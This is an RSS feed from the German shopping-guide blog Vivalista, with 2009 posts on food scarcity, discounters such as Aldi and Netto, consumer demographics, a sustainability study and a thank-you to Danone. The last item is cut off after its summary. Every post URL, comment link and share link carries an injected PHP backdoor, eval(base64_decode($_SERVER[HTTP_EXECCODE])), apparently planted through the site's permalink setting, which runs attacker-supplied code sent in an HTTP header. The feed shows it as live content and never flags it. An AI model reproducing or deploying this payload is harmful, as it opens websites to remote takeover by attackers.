<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Vivalista Blog</title>
	<atom:link href="http://blog.vivalista.de/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.vivalista.de</link>
	<description>Das Blog zum lokalen Einkaufsguide Vivalista</description>
	<lastBuildDate>Mon, 14 Sep 2009 16:10:35 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Lebensmittel werden knapp</title>
		<link>http://blog.vivalista.de/2009/09/14/lebensmittel-werden-knapp/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blog.vivalista.de/2009/09/14/lebensmittel-werden-knapp/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 14 Sep 2009 15:59:50 +0000</pubDate>
		<dc:creator>vivalista</dc:creator>
				<category><![CDATA[Ernährungsthemen]]></category>
		<category><![CDATA[Fisch]]></category>
		<category><![CDATA[Fischkonsum]]></category>
		<category><![CDATA[Fleisch]]></category>
		<category><![CDATA[Fleischkonsum]]></category>
		<category><![CDATA[Lebensmittelknappheit]]></category>
		<category><![CDATA[Lebensmittelproduktion]]></category>
		<category><![CDATA[Preissenkung]]></category>

		<guid isPermaLink="false">http://blog.vivalista.de/?p=260</guid>
		<description><![CDATA[Vor kurzem habe ich einen Artikel in der Süddeutschen Zeitung über die Welt-Ernährungskrise gelesen, der mich einigermaßen zum Nachdenken angeregt hat. Demnach müssten bis zum Jahr 2050 die Ernteerträge verdoppelt werden, um die dann auf 9,2 Milliarden angewachsende Zahl der Menschen zu ernähren. Dagegen sprechen Klimawandel und verschobene Wetterphänome, fruchtbare Böden in der Landwirtschaft werden [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignright size-full wp-image-259" title="BlogbeitragEswirdknapp" src="http://blog.vivalista.de/wp-content/uploads/2009/09/BlogbeitragEswirdknapp.jpg" alt="BlogbeitragEswirdknapp" width="160" height="105" />Vor kurzem habe ich einen Artikel in der Süddeutschen Zeitung über die Welt-Ernährungskrise gelesen, der mich einigermaßen zum Nachdenken angeregt hat. Demnach müssten bis zum Jahr 2050 die Ernteerträge verdoppelt werden, um die dann auf 9,2 Milliarden angewachsende Zahl der Menschen zu ernähren. Dagegen sprechen Klimawandel und verschobene Wetterphänome, fruchtbare Böden in der Landwirtschaft werden aufgrund der Überanspruchung unbrauchbar. Zusätzlich steige der Konsum an Fleisch und Fisch stetig an. Immerhin leben wir ja in einer Wohlstandsgesellschaft. &#8220;Eine Welt ist nicht genug&#8221;, schreibt die SZ, drei Planeten brauche man, um die Menschheit zu ernähren, wenn alle wie Europäer essen würden. Wow!</p>
<p>Und dann noch das: <em>&#8220;etwa 10% der weltweiten Maisernte werden zu Bio-Sprit statt zu Lebensmitteln verarbeitet&#8221;, so der Autor des Artikels</em>.</p>
<p>Auch wenn Aldi in der vergangenen Woche die neunte Preis-senkungswelle ausgerufen hat und Edeka gleichsam nachzog, bleibt eines nach diesen Erkenntnissen wohl unbestritten: Die Preise für Lebensmittel werden mittel- bis langfristig drastisch ansteigen (müssen). Das bestätigt auch die Welternährungsorganisation (FAO). Von einer Ruhe vor dem Sturm ist die Rede, seien doch die Zeiten weltweiter Nahrungsmittelüberschüsse endgültig vorbei.</p>
<p>Worüber wir von Vivalista uns nun Gedanken machen, ist, in wie weit wir dieses Thema in unser Portal integrieren können. Klar, wir bieten Transparenz über Lebensmittelangebote vieler Händler und werden unseren Usern viele nützliche Informationen rund um den wöchentlichen Lebensmitteleinkauf liefern. Das allein scheint uns nach Bewusstwerden dieser Fakten aber nicht genug. Wir werden uns mit dem Thema &#8220;Lebensmittelknappheit &#8211; wie können wir entgegenwirken?&#8221; gesondert und intensiver auseinandersetzen. Vielleicht können wir die Menschen in Deutschland ein wenig motivieren, ihre Ernährungsgewohnheiten zu überdenken? Let&#8217;s see.</p>
<p>Falls Ihr Anregungen zu diesem Thema habt, freuen wir uns über entsprechende Kommentare oder Nachricht an redaktion@vivalista.de.</p>
<p>Es grüßt,</p>
<p>Topolina</p>
<a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?&amp;linkurl=http%3A%2F%2Fblog.vivalista.de%2F2009%2F09%2F14%2Flebensmittel-werden-knapp%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;linkname=Lebensmittel%20werden%20knapp"><img src="http://blog.vivalista.de/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Save/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://blog.vivalista.de/2009/09/14/lebensmittel-werden-knapp/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Brotbackmaschine bei Aldi</title>
		<link>http://blog.vivalista.de/2009/09/04/brotbackmaschine-bei-aldi/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blog.vivalista.de/2009/09/04/brotbackmaschine-bei-aldi/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 04 Sep 2009 08:08:33 +0000</pubDate>
		<dc:creator>vivalista</dc:creator>
				<category><![CDATA[Allgemein]]></category>
		<category><![CDATA[Aldi]]></category>
		<category><![CDATA[Discount]]></category>
		<category><![CDATA[Discounter]]></category>
		<category><![CDATA[Lebensmittelangebote]]></category>
		<category><![CDATA[Preissenkung Lebensmittel]]></category>
		<category><![CDATA[Supermarktangebote]]></category>

		<guid isPermaLink="false">http://blog.vivalista.de/?p=254</guid>
		<description><![CDATA[Endlich! Wir haben ja schon einiges von Alid&#8217;s neuem Frischekonzept gehört, aber bis München war es bislang noch nicht vorgedrungen. Gestern war ich in einer Münchner Filiale und da stand sie vor mir. Die größte Brotbackmaschine, die ich bisher gesehen habe. Irgendwie ne coole Idee, die ja auch bei Kaffeeautomaten gut funktioniert. Man drückt auf [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-full wp-image-257" title="AldiLogos" src="http://blog.vivalista.de/wp-content/uploads/2009/09/AldiLogos.jpg" alt="AldiLogos" width="160" height="93" />Endlich! Wir haben ja schon einiges von Alid&#8217;s neuem Frischekonzept gehört, aber bis München war es bislang noch nicht vorgedrungen. Gestern war ich in einer Münchner Filiale und da stand sie vor mir. Die größte Brotbackmaschine, die ich bisher gesehen habe. Irgendwie ne coole Idee, die ja auch bei Kaffeeautomaten gut funktioniert. Man drückt auf den Knopf für das Brötchen seiner Wahl, das Gerät fängt an, merkwürdige Geräusche von sich zu geben und zack&#8230;.1 Minute später ist es da, das frisch gebackene Brötchen. Hm&#8230;.so wird&#8217;s sicher nicht funktionieren. Wär aber schon spannend, da mal hineinzuschauen. <img src='http://blog.vivalista.de/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>Eines muss man den Discount-Riesen ja lassen: sie sind kreativ und setzen Disscount-Trends. Immer den Bedürfnissen der Discount-Käufer auf der Spur.  Wie wäre es denn mal mit ferngesteuerten Einkaufswagen, die das Gehirn auslesen können und dann automatisch die Produkte des mentalen Einkaufszettels ansteuern. Am besten sind sie auch noch mit Greifarmen ausgestattet, die die Produkte dann gleich in den Wagen legen. Schnell zum automatischen Self-Check-out und fertig ist der Einkauf. Hehe. Wie wohl das Einkaufen in 100 Jahren aussieht&#8230;..sicher nicht mehr so, wie heute. Dazu gibt es ja schon eine Reihe von Studien. Eine hab ich vor kurzem auch gelesen. Werde darüber im nächsten Beitrag etwas schreiben.</p>
<p>Bin mal gespannt, was ALdi sich als nächstes einfallen läßt. Bei aller Kreativität und Innovationskraft sind mir aber die einfachen Ideen immer noch die liebsten &#8211; die Preissenkungen. <img src='http://blog.vivalista.de/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' />  Denen sind wir nämlich auf der Spur, um unseren Usern neben vielen anderen Features wertvolle Spartipps geben zu können.</p>
<p>Euer Nicho</p>
<a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?&amp;linkurl=http%3A%2F%2Fblog.vivalista.de%2F2009%2F09%2F04%2Fbrotbackmaschine-bei-aldi%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;linkname=Brotbackmaschine%20bei%20Aldi"><img src="http://blog.vivalista.de/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Save/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://blog.vivalista.de/2009/09/04/brotbackmaschine-bei-aldi/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Demografischer Wandel in Deutschland verändert Einkaufsverhalten</title>
		<link>http://blog.vivalista.de/2009/08/23/demografischer-wandel-in-deutschland-verandert-einkaufsverhalten/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blog.vivalista.de/2009/08/23/demografischer-wandel-in-deutschland-verandert-einkaufsverhalten/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 23 Aug 2009 10:42:11 +0000</pubDate>
		<dc:creator>vivalista</dc:creator>
				<category><![CDATA[Einkaufsgewohnheiten]]></category>
		<category><![CDATA[demografischer Wandel]]></category>
		<category><![CDATA[Einkaufen der Zukunft]]></category>
		<category><![CDATA[Einkaufsstätten]]></category>
		<category><![CDATA[Lebensmittel]]></category>
		<category><![CDATA[Lebensmittelangeobte]]></category>
		<category><![CDATA[Supermarktangebote]]></category>

		<guid isPermaLink="false">http://blog.vivalista.de/?p=251</guid>
		<description><![CDATA[Es ist schon lange kein Geheimnis mehr: Die Deutschen werden älter. Das statistische Bundesamt weist aus, dass bis 2016 der Anteil der Altersgruppe 60plus von derzeit 25% auf dann 29% steigen wird. Doch was bedeutet dies für das Einkaufsverhalten und wie muss der Handel darauf reagieren, damit die Konsumenten ihnen weiter die Treue halten?
Nahversorger die [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignright size-full wp-image-250" title="FotoBlogDemografischerWandelkompr" src="http://blog.vivalista.de/wp-content/uploads/2009/08/FotoBlogDemografischerWandelkompr2.jpg" alt="FotoBlogDemografischerWandelkompr" width="160" height="106" />Es ist schon lange kein Geheimnis mehr: Die Deutschen werden älter. Das statistische Bundesamt weist aus, dass bis 2016 der Anteil der Altersgruppe 60plus von derzeit 25% auf dann 29% steigen wird. Doch was bedeutet dies für das Einkaufsverhalten und wie muss der Handel darauf reagieren, damit die Konsumenten ihnen weiter die Treue halten?</p>
<p><strong><span style="color: #008000;">Nahversorger die Gewinner von morgen</span></strong></p>
<p>Ältere Menschen haben wesentlich mehr Zeit und werden eher auf kleinere Verpackungsgrößen zurückgreifen als jüngere Menschen. Möglicherweise werden sie sogar häufiger einkaufen gehen, vielleicht sogar täglich. Da sie das vornehmlich in ihrer direkten Umgebung tun werden, setzt der Handel wieder auf &#8220;Nachbarschaftsläden&#8221; und regionale Produkte. Auch der persönliche Kontakt zum Marktleiter wird wieder an Bedeutung gewinnen.</p>
<p>Zahlreiche Studien (z.B. die von GS1 Germany &#8220;Value Chain 2016 in Deutschland&#8221;) belegen ebenso einen Trend der Menschen, sich vermehrt in den Städten anzusiedeln. Das wird einen Rückzug des Handels aus den ländlichen Gegenden zur Folge haben. Frage: Woher beziehen diese Menschen dann ihre Produkte? Hier wird vermutlich Online-Shopping gefragt sein.</p>
<p>Unsere Aufgabe sehen wir darin, das Online-Angebot von Vivalista regelmäßig und kontinuierlich an die veränderten Lebens- und Einkaufssituationen in Deutschland anzupassen, damit wir den Konsumenten eine echte Hilfe und Erleichterung in ihrem Einkaufsalltag sein können.</p>
<p>Viele Grüße,</p>
<p>Euer Nicho</p>
<a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?&amp;linkurl=http%3A%2F%2Fblog.vivalista.de%2F2009%2F08%2F23%2Fdemografischer-wandel-in-deutschland-verandert-einkaufsverhalten%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;linkname=Demografischer%20Wandel%20in%20Deutschland%20ver%C3%A4ndert%20Einkaufsverhalten"><img src="http://blog.vivalista.de/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Save/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://blog.vivalista.de/2009/08/23/demografischer-wandel-in-deutschland-verandert-einkaufsverhalten/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Netto auf dem Vormarsch.</title>
		<link>http://blog.vivalista.de/2009/08/15/netto-auf-dem-vormarsch/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blog.vivalista.de/2009/08/15/netto-auf-dem-vormarsch/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 15 Aug 2009 21:40:32 +0000</pubDate>
		<dc:creator>vivalista</dc:creator>
				<category><![CDATA[Branchen News]]></category>
		<category><![CDATA[Filialangebote]]></category>
		<category><![CDATA[Lebensmittel]]></category>
		<category><![CDATA[Lebensmittelangebote]]></category>
		<category><![CDATA[Preissenkung Lebensmittel]]></category>
		<category><![CDATA[Supermarktangebote]]></category>

		<guid isPermaLink="false">http://blog.vivalista.de/?p=230</guid>
		<description><![CDATA[Wie es Netto schafft, die gut positionierte Marke Plus verschwinden zu lassen, noch bevor es die Verbraucher so recht bemerken, das konnte man in den vergangenen Monaten gut beobachten. Und wie es gelingt, Netto zügig als national bekannte Marke zu etablieren &#8211; ebenfalls. Jüngster Coup ist das Sponsoring des Fußballvereins Vfl Bochum. In Kürze laufen [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-full wp-image-233" title="NettoBlogbeitrag" src="http://blog.vivalista.de/wp-content/uploads/2009/08/NettoBlogbeitrag.jpg" alt="NettoBlogbeitrag" width="177" height="255" />Wie es Netto schafft, die gut positionierte Marke Plus verschwinden zu lassen, noch bevor es die Verbraucher so recht bemerken, das konnte man in den vergangenen Monaten gut beobachten. Und wie es gelingt, Netto zügig als national bekannte Marke zu etablieren &#8211; ebenfalls. Jüngster Coup ist das Sponsoring des Fußballvereins Vfl Bochum. In Kürze laufen die Kicker mit dem gelben Logo auf ihren Trikots durchs Stadion. Mit einem rund dreifach so hohen Werbebudget und dem Slogan: &#8220;Mehr Netto für alle&#8221; will Edeka Marktanteile der Konkurrenten für sich gewinnen. Immerhin wurden schon rund 740 der insgesamt 2300 Filialen von Plus in Netto Markendiscount umgetauft. Bis nächsten Sommer soll die Umstellung des gesamten Filialnetzes abgeschlossen sein.</p>
<p>Congrats, Netto!</p>
<p>Eines ist aber jetzt schon sicher: Die großen Gewinner der Rabattschlacht bei den Discountern sind die Konsumenten. <img src='http://blog.vivalista.de/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' />  Beinahe wöchentlich senken die Discounter die Preise einzelner Produkt-gruppen oder Teilsortimente und es lohnt sich gerade jetzt, genau hinzuschauen. Vielleicht zahlt es sich sogar aus, mit den alten Gewohnheiten zu brechen und statt einer &#8220;Lieblingsfiliale&#8221; auch mal 2 oder 3 Filialen anzufahren. Alles eine Frage der Kalkulation und rechnen müssen wir in diesen Zeiten ja alle irgendwie. Vivalista wird dabei in Zukunft helfen, den Überblick zu behalten und keine Preissenkung mehr zu verpassen. <img src='http://blog.vivalista.de/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>Dont miss!</p>
<p>Es grüßt,</p>
<p>Topolina</p>
<a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?&amp;linkurl=http%3A%2F%2Fblog.vivalista.de%2F2009%2F08%2F15%2Fnetto-auf-dem-vormarsch%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;linkname=Netto%20auf%20dem%20Vormarsch."><img src="http://blog.vivalista.de/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Save/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://blog.vivalista.de/2009/08/15/netto-auf-dem-vormarsch/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Deutsche skeptisch &#8211; FMCG-Industrie vorbildlich</title>
		<link>http://blog.vivalista.de/2009/08/09/deutsche-skeptisch-fmcg-industrie-vorbildlich/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blog.vivalista.de/2009/08/09/deutsche-skeptisch-fmcg-industrie-vorbildlich/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 09 Aug 2009 12:50:26 +0000</pubDate>
		<dc:creator>vivalista</dc:creator>
				<category><![CDATA[Branchen News]]></category>
		<category><![CDATA[Fast Moving Consumer Goods]]></category>
		<category><![CDATA[Lebensmittel]]></category>
		<category><![CDATA[Lebensmittelangebote]]></category>
		<category><![CDATA[Nachhaltigkeit]]></category>
		<category><![CDATA[Sustainable Futures 09]]></category>

		<guid isPermaLink="false">http://blog.vivalista.de/?p=213</guid>
		<description><![CDATA[Für die Studie zur Nachhaltigkeit &#8220;Sustainable Futures 09&#8243;, herausgegeben von der Havas Media, wurden im letzten Dezember und Januar in zehn Ländern weltweit 20.000 Kon-sumenten zum Thema &#8220;nach-haltiger Konsum&#8221; befragt. Deutsche Konsumenten (77% der Befragten) kaufen gern Produkte, die von nachhaltig wirtschaftenden Unternehmen stammen. Eine ähnlich hohe Anzahl gab des Weiteren an, Unternehmen, die sich nicht [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignright size-medium wp-image-216" title="SustainableFutures09Titelbild" src="http://blog.vivalista.de/wp-content/uploads/2009/08/SustainableFutures09Titelbild1-214x300.jpg" alt="SustainableFutures09Titelbild" width="214" height="300" />Für die Studie zur Nachhaltigkeit <em><span style="color: #339966;"><strong>&#8220;Sustainable Futures 09&#8243;</strong></span></em><em>, </em>herausgegeben von der Havas Media, wurden im letzten Dezember und Januar in zehn Ländern weltweit 20.000 Kon-sumenten zum Thema &#8220;nach-haltiger Konsum&#8221; befragt. Deutsche Konsumenten (77% der Befragten) kaufen gern Produkte, die von nachhaltig wirtschaftenden Unternehmen stammen. Eine ähnlich hohe Anzahl gab des Weiteren an, Unternehmen, die sich nicht korrekt verhalten, abzustrafen. Über die Hälfte der Deutschen glauben jedoch, dass die Aktivitäten in diesem Bereich oftmals ein Versuch ist, das Image zu verbessern. <span style="color: #339966;"><strong>Positiver beur-teilen die Befragten unter allen Segmenten die Fast Moving Consumer Goods und die Kosmetikkonzerne.</strong></span></p>
<p>Aufgrund der mangelnden Glaubwürdigkeit seien aber viele der Befragten nicht bereit, mehr Geld für nachhaltig hergestellte Produkte auszugeben, obwohl sie Nachhaltigkeit für besonders wichtig halten. Hier müssten die Industrie-Konzerne eine Vorbildfunktion übernehmen. Das bietet gleichzeitig eine große Chance für Unternehmen, sich in diesem umkämpften Markt zu positionieren.</p>
<p>Dann nämlich werden sich deutsche Konsumenten den Unternehmen hinwenden, die authentisch mit dem Thema Nachhaltigkeit umgehen. Die Bereitschaft, höhere Preise für nachhaltig hergestellte Produkte zu bezahlen, würde proportional ansteigen.</p>
<p><span style="font-size: 10px;">Quelle: wuv</span></p>
<p>Wir fanden diese Studie überaus interessant und werden uns dieses Themas auf Vivalista annehmen. Wer hier schon konkrete Vor-stellungen und Wünsche hat, kann uns diese gern zusenden: redaktion@vivalista.de</p>
<p>Wer mehr wissen möchte zu der Studie kann sich hier informieren:</p>
<p><a title="Studie" href="http://www.worldretailcongress.com/files/sf09_external_hm__commercial_teaser_global1.pdf" target="_blank"><span style="color: #339966;">Studie Sustainable Futures 09</span></a></p>
<p>Es grüßt,</p>
<p>Topolina</p>
<a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?&amp;linkurl=http%3A%2F%2Fblog.vivalista.de%2F2009%2F08%2F09%2Fdeutsche-skeptisch-fmcg-industrie-vorbildlich%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;linkname=Deutsche%20skeptisch%20%26%238211%3B%20FMCG-Industrie%20vorbildlich"><img src="http://blog.vivalista.de/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Save/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://blog.vivalista.de/2009/08/09/deutsche-skeptisch-fmcg-industrie-vorbildlich/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Thank you, Danone!</title>
		<link>http://blog.vivalista.de/2009/08/04/thank-you-danone/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blog.vivalista.de/2009/08/04/thank-you-danone/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 04 Aug 2009 17:00:47 +0000</pubDate>
		<dc:creator>vivalista</dc:creator>
				<category><![CDATA[Allgemein]]></category>
		<category><![CDATA[Acitivia]]></category>
		<category><![CDATA[Actimel]]></category>
		<category><![CDATA[Danone]]></category>
		<category><![CDATA[Gervais]]></category>
		<category><![CDATA[Joghurt]]></category>
		<category><![CDATA[Lebensmittel]]></category>
		<category><![CDATA[Obstgarten]]></category>
		<category><![CDATA[Supermarktangebote]]></category>

		<guid isPermaLink="false">http://blog.vivalista.de/?p=204</guid>
		<description><![CDATA[seit geraumer Zeit arbeiten wir nun schon mit Handel und Herstellern zusammen, um unseren Usern bald ein hilfreiches Portal für den täglichen Lebensmitteleinkauf zur Verfügung zu stellen. Das, was wir heute erlebt haben, hat unseren Tag erhellt und ist bis dato noch nicht vorgekommen.
Wir haben telefonisch bei Danone Informationen angefragt. Leider war die zuständige Mitarbeiterin [...]]]></description>
			<content:encoded><![CDATA[<p>seit geraumer Zeit arbeiten wir nun schon mit Handel und Herstellern zusammen, um unseren Usern bald ein hilfreiches Portal für den täglichen Lebensmitteleinkauf zur Verfügung zu stellen. Das, was wir heute erlebt haben, hat unseren Tag erhellt und ist bis dato noch nicht vorgekommen.</p>
<p>Wir haben telefonisch bei Danone Informationen angefragt. Leider war die zuständige Mitarbeiterin nicht da und wir wurden gebeten, uns nochmals zu melden. Unser Anliegen wurde zwar aufgenommen, aber unsere Kontaktdaten nicht. Keine drei Stunden später hatten wir wie von Geisterhand die gewünschten Informationen in unserem Email-Account. Sogar eigenständig gegoogelt hat die Mitarbeiterin, um unsere Kontaktadresse herauszufinden. Da es ja leider zum Volkssport geworden ist, den Ignore-Modus einzuschalten &#8211; ja, auch im Businessleben &#8211; hätten wir Haus und Hof verwettet, dass wir noch mindestens 3 bis 8 mal zum Hörer greifen müssen, um die Informationen zu erhalten. Mei, was ein Glück, dass wir es nicht getan haben, sonst säßen wir jetzt im Regen. Aber im Ernst:</p>
<p>Liebes Danone-Team, Ihr seid spitze, offensichtlich genauso klasse, wie Eure Produkte. Und die auf der Internetseite ausgelobten Werte:</p>
<p><span style="color: #339966;"><a href="http://www.danone.de/danone.html#werte"><span style="color: #008000;">&#8220;Begeisterung, Offenheit, Nähe und Menschlichkeit&#8221;</span></a></span></p>
<p>sind offensichtlich keine leeren Worthülsen! Wir freuen uns, wenn unsere User davon profitieren können und machen deshalb gern Werbung für Euch.</p>
<p>Vielen Dank für die tolle Unterstützung!</p>
<p>Nicho</p>
<a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?&amp;linkurl=http%3A%2F%2Fblog.vivalista.de%2F2009%2F08%2F04%2Fthank-you-danone%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;linkname=Thank%20you%2C%20Danone%21"><img src="http://blog.vivalista.de/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Save/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://blog.vivalista.de/2009/08/04/thank-you-danone/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Erzeugerpreise Juni 2009: – 4,6% gegenüber Juni 2008 &#8211; Gleich starker Preisrückgang letztmalig im Dezember 1986</title>
		<link>http://blog.vivalista.de/2009/08/02/erzeugerpreise-juni-2009-%e2%80%93-46-gegenuber-juni-2008-gleich-starker-preisruckgang-letztmalig-im-dezember-1986/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blog.vivalista.de/2009/08/02/erzeugerpreise-juni-2009-%e2%80%93-46-gegenuber-juni-2008-gleich-starker-preisruckgang-letztmalig-im-dezember-1986/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 02 Aug 2009 12:02:27 +0000</pubDate>
		<dc:creator>vivalista</dc:creator>
				<category><![CDATA[Branchen News]]></category>
		<category><![CDATA[Lebensmittelangebote]]></category>
		<category><![CDATA[Lebensmittelpreise]]></category>
		<category><![CDATA[Nestle]]></category>
		<category><![CDATA[Supermarktangebote]]></category>
		<category><![CDATA[Verbrauchsgüterpreise]]></category>

		<guid isPermaLink="false">http://blog.vivalista.de/?p=186</guid>
		<description><![CDATA[Die Preise für Verbrauchsgüter sanken gegenüber Juni 2008 um durchschnittlich 1,6% (+ 0,1% gegenüber Mai 2009). Nahrungsmittel waren insgesamt um 4,0% billiger als im Vorjahr, gegenüber Mai 2009 verbilligten sie sich um 0,1%. Starke Preisrückgänge waren im Vorjahres-vergleich für Milch und Milcherzeugnisse zu verzeichnen (– 12,4%). Gegenüber Mai 2009 sanken hier die Preise um 1,4% und lagen [...]]]></description>
